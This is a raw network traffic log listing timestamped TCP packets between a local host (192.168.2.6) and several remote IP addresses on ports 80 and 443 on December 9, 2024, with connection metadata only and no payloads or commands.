Dec 9, 2024 21:09:36.959886074 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.960231066 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.960273981 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.961018085 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.961055040 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.961289883 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.961328030 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.962049007 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.962099075 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.962330103 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.962374926 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.963157892 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.963200092 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.963392973 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.963435888 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.964268923 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.964307070 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.964356899 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.964397907 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.965434074 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.965476990 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.966073036 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.966108084 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.966548920 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.966562033 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.966594934 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.966612101 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.967576981 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.967665911 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.968373060 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.968421936 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.968786001 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.968797922 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.968832016 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.968842030 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.970231056 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.970278978 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.970550060 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.970587015 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.970920086 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.971195936 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.971246004 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.971282005 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.972073078 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.972121954 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.972661972 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.972701073 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.973481894 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.973524094 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.973659992 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.973696947 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.974225998 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.974237919 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.974267006 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.975414991 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.975459099 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.975752115 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.975795031 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.976448059 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.976461887 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.976489067 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.976505995 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.977485895 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.977530003 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.977638006 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.977679968 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.978698015 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.978710890 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.978734970 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.978748083 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.979842901 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.979865074 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.979882956 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.979898930 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.980820894 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.980858088 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.981065989 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.981102943 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.982171059 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.982208014 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.982285976 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.982331038 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.983073950 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.983117104 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.983196974 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.983294964 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.984216928 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.984229088 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.984252930 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.984266996 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.985263109 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.985306025 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.985449076 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.985551119 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.986453056 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.986491919 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.986638069 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.986674070 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.987602949 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.987643957 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.987808943 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.987847090 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.988656044 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.988692999 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.989533901 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.989571095 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.989742994 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.989754915 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.989784002 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.989798069 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.990803957 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.990856886 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.991010904 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.991050005 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.992026091 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.992069960 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.992218971 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.992259979 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.993115902 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.993154049 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.993583918 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.993628025 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.994247913 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.994285107 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.128381014 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.128434896 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.128494024 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.128540039 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.128781080 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.128824949 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.129101038 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.129146099 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.129884005 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.129926920 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.130371094 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.130408049 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.130558968 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.130605936 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.131349087 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.131402016 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.131705046 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.131747007 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.132623911 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.132661104 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.132945061 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.132993937 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.133618116 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.133654118 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.133779049 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.133820057 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.134908915 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.134948015 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.134994030 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.135041952 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.135781050 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.135824919 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.136260033 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.136306047 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.136898041 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.136950016 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.137099028 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.137145996 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.138106108 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.138148069 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.138276100 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.138314009 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.139178991 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.139214993 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.139471054 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.139509916 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.140321016 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.140358925 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.140547037 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.140587091 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.141447067 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.141488075 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.141597033 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.141634941 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.142431974 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.142472029 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.143064022 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.143100977 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.143830061 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.143867016 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.143996000 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.144033909 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.144675016 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.144716024 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.145262957 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.145301104 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.145756960 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.145796061 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.145862103 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.145898104 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.146976948 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.147021055 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.147612095 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.147650003 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.148050070 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.148061991 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.148086071 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.148108006 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.149080992 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.149116993 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.149183035 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.149219036 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.150230885 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.150274992 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.150355101 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.150391102 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.151356936 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.151395082 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.151557922 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.151592970 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.152549982 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.152611017 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.152970076 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.153014898 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.153713942 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.153752089 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.153883934 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.153920889 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.154995918 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.155035019 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.155106068 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.155143023 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.156115055 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.156160116 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.156405926 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.156446934 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.157303095 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.157345057 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.157474995 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.157512903 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.158571959 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.158608913 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.159044027 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.159084082 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.159852028 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.159894943 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.160000086 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.160033941 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.161052942 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.161098003 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.161250114 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.161310911 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.161926985 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.161971092 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.162184954 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.162224054 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.163155079 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.163202047 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.163264036 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.163300037 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.164201021 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.164257050 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.164284945 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.164325953 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.165146112 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.165194035 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.165613890 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.165657997 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.166610003 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.166649103 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:37.166835070 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:37.166872978 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:38.000102997 CET	443	49936	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:38.000230074 CET	49936	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:38.001612902 CET	49936	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:38.001625061 CET	443	49936	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:38.001854897 CET	443	49936	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:38.003180027 CET	49936	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:38.003180027 CET	49936	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:38.003215075 CET	443	49936	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:38.982446909 CET	443	49936	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:38.982547998 CET	443	49936	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:38.982611895 CET	49936	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:39.121051073 CET	49936	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:39.121078968 CET	443	49936	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:39.477025032 CET	49916	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:39.477406025 CET	49942	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:39.597577095 CET	80	49916	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:39.597652912 CET	49916	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:39.598556995 CET	80	49942	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:39.598634005 CET	49942	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:39.609054089 CET	49942	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:39.728836060 CET	80	49942	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:40.307074070 CET	49943	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:40.307087898 CET	443	49943	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:40.307151079 CET	49943	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:40.307475090 CET	49943	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:40.307487965 CET	443	49943	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:40.436821938 CET	49944	80	192.168.2.6	185.215.113.206
Dec 9, 2024 21:09:40.557409048 CET	80	49944	185.215.113.206	192.168.2.6
Dec 9, 2024 21:09:40.557521105 CET	49944	80	192.168.2.6	185.215.113.206
Dec 9, 2024 21:09:40.558505058 CET	49944	80	192.168.2.6	185.215.113.206
Dec 9, 2024 21:09:40.679452896 CET	80	49944	185.215.113.206	192.168.2.6
Dec 9, 2024 21:09:40.974790096 CET	80	49942	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:40.974986076 CET	49942	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:40.977659941 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:40.977943897 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:41.097685099 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:41.097757101 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:41.098567963 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:41.098648071 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:41.098817110 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:41.218216896 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:41.519342899 CET	443	49943	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:41.519429922 CET	49943	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:41.541794062 CET	49943	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:41.541806936 CET	443	49943	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:41.542093039 CET	443	49943	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:41.543445110 CET	49943	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:41.543947935 CET	49943	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:41.543987989 CET	443	49943	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:41.544106007 CET	49943	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:41.591340065 CET	443	49943	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:41.900995970 CET	80	49944	185.215.113.206	192.168.2.6
Dec 9, 2024 21:09:41.901065111 CET	49944	80	192.168.2.6	185.215.113.206
Dec 9, 2024 21:09:42.137903929 CET	49944	80	192.168.2.6	185.215.113.206
Dec 9, 2024 21:09:42.258039951 CET	80	49944	185.215.113.206	192.168.2.6
Dec 9, 2024 21:09:42.434988976 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.435053110 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.435098886 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.435136080 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.435467958 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.435513973 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.435529947 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.435540915 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.435571909 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.435584068 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.436186075 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.436197996 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.436203957 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.436255932 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.436305046 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.436477900 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.436511040 CET	49945	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:42.436599016 CET	80	49945	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:42.436640978 CET	49945	80	192.168.2.6	185.215.113.16
